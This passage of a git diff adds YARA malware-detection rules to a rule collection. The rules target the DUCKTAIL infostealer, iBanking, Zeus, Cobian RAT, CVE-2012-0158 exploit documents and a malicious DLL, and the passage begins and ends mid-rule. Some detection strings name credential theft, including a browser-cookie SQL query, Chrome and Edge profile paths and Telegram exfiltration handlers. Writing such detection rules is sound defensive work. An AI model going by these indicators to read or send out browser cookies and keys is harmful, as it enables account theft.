+        $fb_str_11 = "&__a=1&__comet_req=0&fb_dtsg=" wide ascii
+        $fb_str_12 = "&__jssesw=1" wide ascii
+        $fb_str_13 = "approvals_code=" wide ascii
+        $fb_str_14 = "<BmLinks>k__BackingField" wide ascii
+        $fb_str_15 = "set_FbCookies" wide ascii
+        $fb_str_16 = "<AdsAccount>k__BackingField" wide ascii
+        $fb_str_17 = "GetAllFbData" wide ascii
+        $fb_str_18 = "get_account_id" wide ascii
+        $fb_str_19 = "set_BmLinks" wide ascii
+        $fb_str_20 = "GetBmLink" wide ascii
+        $fb_str_21 = "GetBm" wide ascii
+        $fb_str_22 = "ExtractUserId" wide ascii
+        $fb_str_23 = "set_Bussinesses" wide ascii
+        $fb_str_24 = "set_FbData" wide ascii
+        $fb_str_25 = "get_Nguong" wide ascii
+        $fb_str_26 = "ResetCookie" wide ascii
+        $fb_str_27 = "set_UserId" wide ascii
+        $fb_str_28 = "<Nguong>k__BackingField" wide ascii
+        $fb_str_29 = "get_UserId" wide ascii
+        $fb_str_30 = "set_Nguong" wide ascii
+        $fb_str_31 = "AdsBusiness" wide ascii
+        $fb_str_32 = "<FbData>k__BackingField" wide ascii
+        $fb_str_33 = "<FbCookies>k__BackingField" wide ascii
+        $fb_str_34 = "<invite_link>k__BackingField" wide ascii
+        $fb_str_35 = "get_FbData" wide ascii
+        $fb_str_36 = "get_invite_link" wide ascii
+        $fb_str_37 = "get_Bussinesses" wide ascii
+        $fb_str_38 = "GetNguong" wide ascii
+        $fb_str_39 = "set_AdsAccount" wide ascii
+        $fb_str_40 = "set_invite_link" wide ascii
+        $fb_str_41 = "set_AllCookies" wide ascii
+        $fb_str_42 = "get_business" wide ascii
+        $fb_str_43 = "set_business" wide ascii
+        $fb_str_44 = "<Bussinesses>k__BackingField" wide ascii
+        $fb_str_45 = "GetAdsFromToken" wide ascii
+        $fb_str_46 = "get_AdsAccount" wide ascii
+        $fb_str_47 = "get_BmLinks" wide ascii
+        $fb_str_48 = "FbDataScanner" wide ascii
+        // Exfiltration-related
+        $exfil_str_1 = "telegramBotClient_OnUpdate" wide ascii
+        $exfil_str_2 = "telegramHandler" wide ascii
+        $exfil_str_3 = "ZipArchive" wide ascii
+        $exfil_str_4 = "KillItSame" wide ascii
+        $exfil_str_5 = "1.txt" wide ascii
+        $exfil_str_6 = ".zip" wide ascii
+        $exfil_str_7 = "2.txt" wide ascii
+        // Browser-related
+        $browser_str_1 = "GetCookies" wide ascii
+        $browser_str_2 = "get_AllCookies" wide ascii
+        $browser_str_3 = "ChromiumBrowser" wide ascii
+        $browser_str_4 = "myBrowsers" wide ascii
+        $browser_str_5 = "get_CookiePath" wide ascii
+        $browser_str_6 = "ScanFirefox" wide ascii
+        $browser_str_7 = "get_FbCookies" wide ascii
+        $browser_str_8 = "ScanChomium" wide ascii
+        $browser_str_9 = "BrowserScanner" wide ascii
+        $browser_str_10 = "ScanChronium" wide ascii
+        $browser_str_11 = "CookieData" wide ascii
+        $browser_str_12 = "listBrowser" wide ascii
+        $browser_str_13 = "BrowserCookie" wide ascii
+        $browser_str_14 = "<Cookies>k__BackingField" wide ascii
+        $browser_str_15 = "AddCookie" wide ascii
+        $browser_str_16 = "set_CookiePath" wide ascii
+        $browser_str_17 = "Local State" wide ascii
+        $browser_str_18 = "select name, path, expires_utc, is_secure, is_httponly, host_key, encrypted_value  from cookies" wide ascii
+        $browser_str_19 = "Google\\Chrome\\User Data" wide ascii
+        $browser_str_20 = "Microsoft\\Edge\\User Data" wide ascii
+        $browser_str_21 = "Cookies" wide ascii
+        $browser_str_22 = "encrypted_key\":\"" wide ascii
+     condition:
+        uint16(0) == 0x5A4D
+        and $dotnet_core_bundle_signature
+        and (
+            // 7 Facebook-related with either 7 browser or 3 exfil keywords found
+            (7 of ($fb_str_*) and (7 of ($browser_str_*) or 3 of ($exfil_str_*))) 
+            // 7 Browser and 3 exfil keywords found
+            or (7 of ($browser_str_*) and 3 of ($exfil_str_*))
+        )
+}
\ No newline at end of file
diff --git a/yara-mikesxrs/WithSecure/ducktail_exceldna_packed.yar b/yara-mikesxrs/WithSecure/ducktail_exceldna_packed.yar
new file mode 100644
index 0000000..71ea3ec
--- /dev/null
+++ b/yara-mikesxrs/WithSecure/ducktail_exceldna_packed.yar
@@ -0,0 +1,28 @@
+import "pe"
+rule ducktail_exceldna_packed
+{
+    meta:
+        author="WithSecure"
+        description="Detects Excel Add-in variants of DUCKTAIL malware"
+        date="2022-11-17"
+        version="1.0"
+        reference="https://labs.withsecure.com/publications/ducktail_returns"
+        hash1="e11b55bea4cd63d09220eaf72ffb591838ac54fb"
+        hash2="630f467fda3ac80eaa2f23b141aff122f501504e"
+        hash3="2a3a7682e9e77b3124a09dff0167fffe9d91c8b7"
+        report = "https://www.withsecure.com/en/expertise/research-and-innovation/research/ducktail-an-infostealer-malware"
+    strings:
+        $xll_str_1 = "exceldna" nocase ascii
+        $xll_str_2 = "iexceladdin" nocase ascii
+        $encryption_str_1 = "zbase32" nocase ascii
+        $encryption_str_2 = "sharpaescrypt" nocase ascii
+        $encryption_str_3 = "confuserex" nocase ascii
+        $dt_module_name = "exceladdinbuilder" nocase ascii
+     condition:
+        uint16(0) == 0x5A4D
+        and any of ($xll_str_*)
+        and (2 of ($encryption_str_*)
+             or for any res in pe.resources : ( res.name_string == "C\x00O\x00N\x00F\x00I\x00G\x00" and hash.sha256(res.offset, res.length) == "08515030bb98ffd03fcbf15788e49d155a59cdbc74be27066542e8c0e29214f9")
+             or $dt_module_name
+        )
+}
\ No newline at end of file
diff --git a/yara-mikesxrs/WithSecure/ducktail_nativeaot.yar b/yara-mikesxrs/WithSecure/ducktail_nativeaot.yar
new file mode 100644
index 0000000..51c119b
--- /dev/null
+++ b/yara-mikesxrs/WithSecure/ducktail_nativeaot.yar
@@ -0,0 +1,23 @@
+import "pe"
+rule ducktail_nativeaot
+{
+    meta:
+        author="WithSecure"
+        description="Detects NativeAOT variants of DUCKTAIL malware"
+        date="2022-11-17"
+        version="1.0"
+        reference="https://labs.withsecure.com/publications/ducktail_returns"
+        hash1="b043e4639f89459cae85161e6fbf73b22470979e"
+        hash2="073b092bf949c31628ee20f7458067bbb05fda3a"
+        hash3="d1f6b5f9718a2fe9eaac0c1a627228d3f3b86f87"
+        report = "https://www.withsecure.com/en/expertise/research-and-innovation/research/ducktail-an-infostealer-malware"
+     condition:
+        uint16(0) == 0x5A4D
+        and filesize > 15MB
+        and (pe.section_index(".managed") >= 0
+            or pe.exports("DotNetRuntimeDebugHeader")
+        )
+        and pe.exports("SendFile")
+        and pe.exports("Start")
+        and pe.exports("Open")
+}
\ No newline at end of file
diff --git a/yara-mikesxrs/Xecscan/Yarochkin.yar b/yara-mikesxrs/Xecscan/Yarochkin.yar
new file mode 100644
index 0000000..3e698e8
--- /dev/null
+++ b/yara-mikesxrs/Xecscan/Yarochkin.yar
@@ -0,0 +1,18 @@
+rule Yarochkin
+{
+	meta:
+		author = "XecScan API 2.0 beta"
+		date = "2013-0706 02:26:40"
+		description ="scan.xecure-lab.com"
+		hash0 = "68d3bf4e11a65a6ba8170c3b77cc49cb"
+		Reference = "https://media.blackhat.com/us-13/US-13-Yarochkin-In-Depth-Analysis-of-Escalated-APT-Attacks-Slides.pdf"
+
+	strings:
+		$string0 = "blog.yam.com"
+		$string1 = "http://blog.yam.com/minzhu0906/article/54726977"
+		$string2 = "BLOG.YAM.COM"
+		
+	condition:
+		any of them
+
+}
\ No newline at end of file
diff --git a/yara-mikesxrs/Xylitol/Malware.yar b/yara-mikesxrs/Xylitol/Malware.yar
new file mode 100644
index 0000000..cf0e25a
--- /dev/null
+++ b/yara-mikesxrs/Xylitol/Malware.yar
@@ -0,0 +1,26 @@
+/*
+    This Yara ruleset is under the GNU-GPLv2 license (http://www.gnu.org/licenses/gpl-2.0.html) and open to any user or organization, as    long as you use it under this license.
+
+*/
+
+import "pe"
+
+rule Android_Malware : iBanking
+{
+	meta:
+		author = "Xylitol xylitol@malwareint.com"
+		date = "2014-02-14"
+		description = "Match first two bytes, files and string present in iBanking"
+		reference = "http://www.kernelmode.info/forum/viewtopic.php?f=16&t=3166"
+		
+	strings:
+		// Generic android
+		$pk = {50 4B}
+		$file1 = "AndroidManifest.xml"
+		// iBanking related
+		$file2 = "res/drawable-xxhdpi/ok_btn.jpg"
+		$string1 = "bot_id"
+		$string2 = "type_password2"
+	condition:
+		($pk at 0 and 2 of ($file*) and ($string1 or $string2))
+}
diff --git a/yara-mikesxrs/Xylitol/Zeus_1134.yar b/yara-mikesxrs/Xylitol/Zeus_1134.yar
new file mode 100644
index 0000000..7296aff
--- /dev/null
+++ b/yara-mikesxrs/Xylitol/Zeus_1134.yar
@@ -0,0 +1,18 @@
+rule Windows_Malware : Zeus_1134
+    {
+            meta:
+                    author = "Xylitol xylitol@malwareint.com"
+                    date = "2014-03-03"
+                    description = "Match first two bytes, protocol and string present in Zeus 1.1.3.4"
+                    reference = "http://www.xylibox.com/2014/03/zeus-1134.html"
+                    yaraexchange = "do what the fuck you want"
+            strings:
+                    $mz = {4D 5A}
+                    $protocol1 = "X_ID: "
+                    $protocol2 = "X_OS: "
+                    $protocol3 = "X_BV: "
+                    $stringR1 = "InitializeSecurityDescriptor"
+                    $stringR2 = "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; SV1)"
+            condition:
+                    ($mz at 0 and all of ($protocol*) and ($stringR1 or $stringR2))
+    }
\ No newline at end of file
diff --git a/yara-mikesxrs/Xylitol/ibanking.yar b/yara-mikesxrs/Xylitol/ibanking.yar
new file mode 100644
index 0000000..ca593bb
--- /dev/null
+++ b/yara-mikesxrs/Xylitol/ibanking.yar
@@ -0,0 +1,19 @@
+rule Android_Malware : iBanking
+{
+	meta:
+		author = "Xylitol xylitol@malwareint.com"
+		date = "2014-02-14"
+		description = "Match first two bytes, files and string present in iBanking"
+		reference = "http://www.kernelmode.info/forum/viewtopic.php?f=16&t=3166"
+		yaraexchange = "do what the fuck you want"
+	strings:
+		// Generic android
+		$pk = {50 4B}
+		$file1 = "AndroidManifest.xml"
+		// iBanking related
+		$file2 = "res/drawable-xxhdpi/ok_btn.jpg"
+		$string1 = "bot_id"
+		$string2 = "type_password2"
+	condition:
+		($pk at 0 and 2 of ($file*) and ($string1 or $string2))
+}
\ No newline at end of file
diff --git a/yara-mikesxrs/Xylitol/malware_banker.yar b/yara-mikesxrs/Xylitol/malware_banker.yar
new file mode 100644
index 0000000..bb38d05
--- /dev/null
+++ b/yara-mikesxrs/Xylitol/malware_banker.yar
@@ -0,0 +1,42 @@
+/*
+    This Yara ruleset is under the GNU-GPLv2 license (http://www.gnu.org/licenses/gpl-2.0.html) and open to any user or organization, as    long as you use it under this license.
+*/
+
+/*
+	Androguard module used in this rule file is under development by people at https://koodous.com/.
+
+	You can get it, along with installation instructions, at https://github.com/Koodous/androguard-yara
+*/
+
+import "androguard"
+
+rule Android_Malware : iBanking
+{
+	meta:
+		author = "Xylitol xylitol@malwareint.com"
+		date = "2014-02-14"
+		description = "Match first two bytes, files and string present in iBanking"
+		reference = "http://www.kernelmode.info/forum/viewtopic.php?f=16&t=3166"
+		
+	strings:
+		// Generic android
+		$pk = {50 4B}
+		$file1 = "AndroidManifest.xml"
+		// iBanking related
+		$file2 = "res/drawable-xxhdpi/ok_btn.jpg"
+		$string1 = "bot_id"
+		$string2 = "type_password2"
+	condition:
+		($pk at 0 and 2 of ($file*) and ($string1 or $string2))
+}
+
+rule Installer: banker
+{
+	meta:
+		author = "https://twitter.com/plutec_net"
+		reference = "https://koodous.com/"
+		description = "Applications with Installer as an application name"
+
+	condition:
+		androguard.package_name("Jk7H.PwcD")
+}
diff --git a/yara-mikesxrs/Yoroi/CobianRAT.yar b/yara-mikesxrs/Yoroi/CobianRAT.yar
new file mode 100644
index 0000000..0f6113a
--- /dev/null
+++ b/yara-mikesxrs/Yoroi/CobianRAT.yar
@@ -0,0 +1,19 @@
+rule CobianRAT { 
+meta: 
+  	description = "Yara Rule for Cobian RAT in Aggah Wayback campaign" 
+  	author = "Yoroi Malware Zlab" 
+    reference = "https://yoroi.company/research/the-wayback-campaign-a-large-scale-operation-hiding-in-plain-sight/"
+  	last_updated = "2021_06_18" 
+  	tlp = "white" 
+  	category = "informational" 
+
+strings: 
+$s1="bWFzdGVy" wide
+$s2="Ydmzipw~" wide 
+
+$a1={11 8E B7 16 FE 01 5F 2C 46 1B 8D 1D} 
+$a2={07 17 D6 0B 07 1A 30 20 14 0C 07 B5 1F 64 28 33} 
+
+condition: 
+   uint16(0) == 0x5A4D and any of ($s*) and 1 of ($a*)
+} 
diff --git a/yara-mikesxrs/Zerk Labs/CVE_2012_0158_1.yar b/yara-mikesxrs/Zerk Labs/CVE_2012_0158_1.yar
new file mode 100644
index 0000000..e58a6ac
--- /dev/null
+++ b/yara-mikesxrs/Zerk Labs/CVE_2012_0158_1.yar	
@@ -0,0 +1,77 @@
+rule CVE_2012_0158_1 {
+  meta:
+    author = "cabrel@zerklabs.com"
+    description = "ListView OCX Exploit"
+    url = "http://www.cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2012-0158"
+
+    file_1 = "Statement ID 4657-345-347-0332.doc"
+    file_1_seen = "2013-05-09"
+    file_1_sha256 = "807a355c641eb6e1de81757c31d711df1cd01f5858814091d8655ca1e6bdd538"
+
+    file_2 = "BOA statement id 454-33-2463.doc"
+    file_2_seen = "2013-05-13"
+    file_2_sha256 = "9c9627490fcae513ca0461737c981a7bd4a2a18d50d4aef5ba66d780141f1a27"
+
+  strings:
+    $a = { 64 30 63 66 31 31 65 30 61 31 62 31 31 61 65 31 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 33 65 30 30 30 33 30 30 66 65 66 66 30 39 30 30 30 36 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 31 30 30 30 30 30 30 30 31 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 31 30 30 30 30 30 66 65 66 66 66 66 66 66 30 30 30 30 30 30 30 30 66 65 66 66 66 66 66 66 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 }
+    $b = { 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 }
+    $c = { 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 }
+    $d = { 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 }
+    $e = { 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 64 66 66 66 66 66 66 66 65 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 }
+    $f = { 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 }
+    $g = { 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 }
+    $h = { 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 }
+    $i = { 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 35 32 30 30 36 66 30 30 36 66 30 30 37 34 30 30 32 30 30 30 34 35 30 30 36 65 30 30 37 34 30 30 37 32 30 30 37 39 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 31 36 30 30 30 35 30 30 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 30 63 36 61 64 39 38 38 39 32 66 31 64 34 31 31 61 36 35 66 30 30 34 30 39 36 33 32 35 31 65 35 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 37 30 63 39 }
+    $j = { 61 38 63 34 30 30 34 63 63 65 30 31 66 65 66 66 66 66 66 66 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 }
+    $k = { 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 }
+    $l = { 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 }
+    $m = { 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 31 30 35 30 30 30 30 30 30 30 30 30 30 30 30 7D 7B 5C 6F 62 6A 65 63 74 5C 6F 62 6A 6F 63 78 7B 7B 5C 2A 5C 6F 62 6A 64 61 74 61 31 }
+
+  condition:
+    all of them
+}
+
+rule CVE_2012_0158_2 {
+  meta:
+    author = "cabrel@zerklabs.com"
+    description = "RTF Stack Buffer Overflow Vulnerability"
+    url = "http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2012-0158"
+
+    file_1 = "VAT Returns Repot 583387756.doc"
+    file_1_seen = "2013-05-16"
+    file_1_sha256 = "c6bdbe23857c0ca054d9fbc07f53ee0187b5ab6e86fea66091171e5b4268cb25"
+
+  strings:
+    $a = {30 31 30 35 30 30 30 30}
+    $b = {35 30 36 31 36 33 36 62 36 31 36 37 36 35 30 30}
+    $c = {31 36 37 37 30 33 30 30}
+    $d = {63 63 37 35 30 33 30 30 33 30 33 30 36 34 36 34 33 30 33 30 36 34 36 34 39 62 39 62}
+    $e = {32 62 32 62 32 62 32 62 32 62 32 62 32 62 32 62 32 62 32 62 32 62 32 62 32 62 32 62 32 62 32 62 32 62 32 62 32 62 32 62 32 62 32 62 32 62 32 62 32 62 32 62 32 62 32 62 32 62 32 62 32 62 32 62 32 62 32 62 32 62 32 62 32 62 32 62 32 62 32 62}
+  condition:
+    3 of ($a, $b, $c, $d, $e)
+}
+
+rule CVE_2012_0158_3 {
+  meta:
+    author = "cabrel@zerklabs.com"
+    description = "RTF Stack Buffer Overflow Vulnerability"
+    url = "http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2012-0158"
+
+    file_1_seen = "2013-05-16"
+    file_1_sha256 = "60523591fe426f01a22584eab6844f7537220b786e7305296dc6bf52b7101326"
+
+    file_2_seen = "2013-05-16"
+    file_2_sha256 = "ccb738c0ee27704dc8738483cbb99de01160ab6a99277254c446bd46c781a708"
+
+  strings:
+    $a = "Marc Klenotic" wide
+
+    $b = "JoeSoft"
+    $c = "RSA1"
+    $d = "S4Ra"
+    $e = "CryptoAPI Private Key" wide
+    $f = "Export Flag" wide
+
+  condition:
+    $a or ($b and $c and $d and $e and $f)
+}
diff --git a/yara-mikesxrs/Zerk Labs/Intel_Virtualization_Wizard.yar b/yara-mikesxrs/Zerk Labs/Intel_Virtualization_Wizard.yar
new file mode 100644
index 0000000..e33f05d
--- /dev/null
+++ b/yara-mikesxrs/Zerk Labs/Intel_Virtualization_Wizard.yar	
@@ -0,0 +1,33 @@
+rule Intel_Virtualization_Wizard_exe {
+  meta:
+    author = "cabrel@zerklabs.com"
+    description = "Dynamic DLL abuse executable"
+
+    file_1_seen = "2013-05-21"
+    file_1_sha256 = "7787757ae851f4a162f46f794be1532ab78e1928185212bdab83b3106f28c708"
+
+  strings:
+    $a = {4C 6F 61 64 53 54 52 49 4E 47}
+    $b = {49 6E 69 74 69 61 6C 69 7A 65 4B 65 79 48 6F 6F 6B}
+    $c = {46 69 6E 64 52 65 73 6F 75 72 63 65 73}
+    $d = {4C 6F 61 64 53 54 52 49 4E 47 46 72 6F 6D 48 4B 43 55}
+    $e = {68 63 63 75 74 69 6C 73 2E 44 4C 4C}
+  condition:
+    all of them
+}
+
+rule Intel_Virtualization_Wizard_dll {
+  meta:
+    author = "cabrel@zerklabs.com"
+    description = "Dynamic DLL (Malicious)"
+
+    file_1_seen = "2013-05-21"
+    file_1_sha256 = "485ae043b6a5758789f1d33766a26d8b45b9fde09cde0512aa32d4bd1ee04f28"
+
+  strings:
+    $a = {48 3A 5C 46 61 73 74 5C 50 6C 75 67 28 68 6B 63 6D 64 29 5C}
+    $b = {64 6C 6C 5C 52 65 6C 65 61 73 65 5C 48 69 6A 61 63 6B 44 6C 6C 2E 70 64 62}
+
